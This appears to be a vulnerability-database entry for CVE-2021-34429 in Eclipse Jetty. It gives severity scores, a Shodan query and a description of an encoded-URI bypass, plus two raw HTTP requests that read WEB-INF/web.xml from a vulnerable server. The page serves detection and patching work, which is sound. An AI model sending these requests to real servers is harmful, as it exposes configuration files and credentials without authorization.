| Title | Eclipse Jetty - Information Disclosure |
|---|---|
| Author | bernardofsr,am0nt31r0 |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to potential unauthorized access or further attacks. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Eclipse Jetty. |
| CVSS Score | 5.3 |
| EPSS Score | 0.93778 |
| CVE ID | CVE-2021-34429 |
| CWE ID | CWE-200,NVD-CWE-Other |
| Shodan Query | cpe:"cpe:2.3:a:eclipse:jetty" |
| Tags | cve2021 cve jetty eclipse vkev vuln |
Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
GET /.%00/WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34429.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34429.pcap
N/AN/A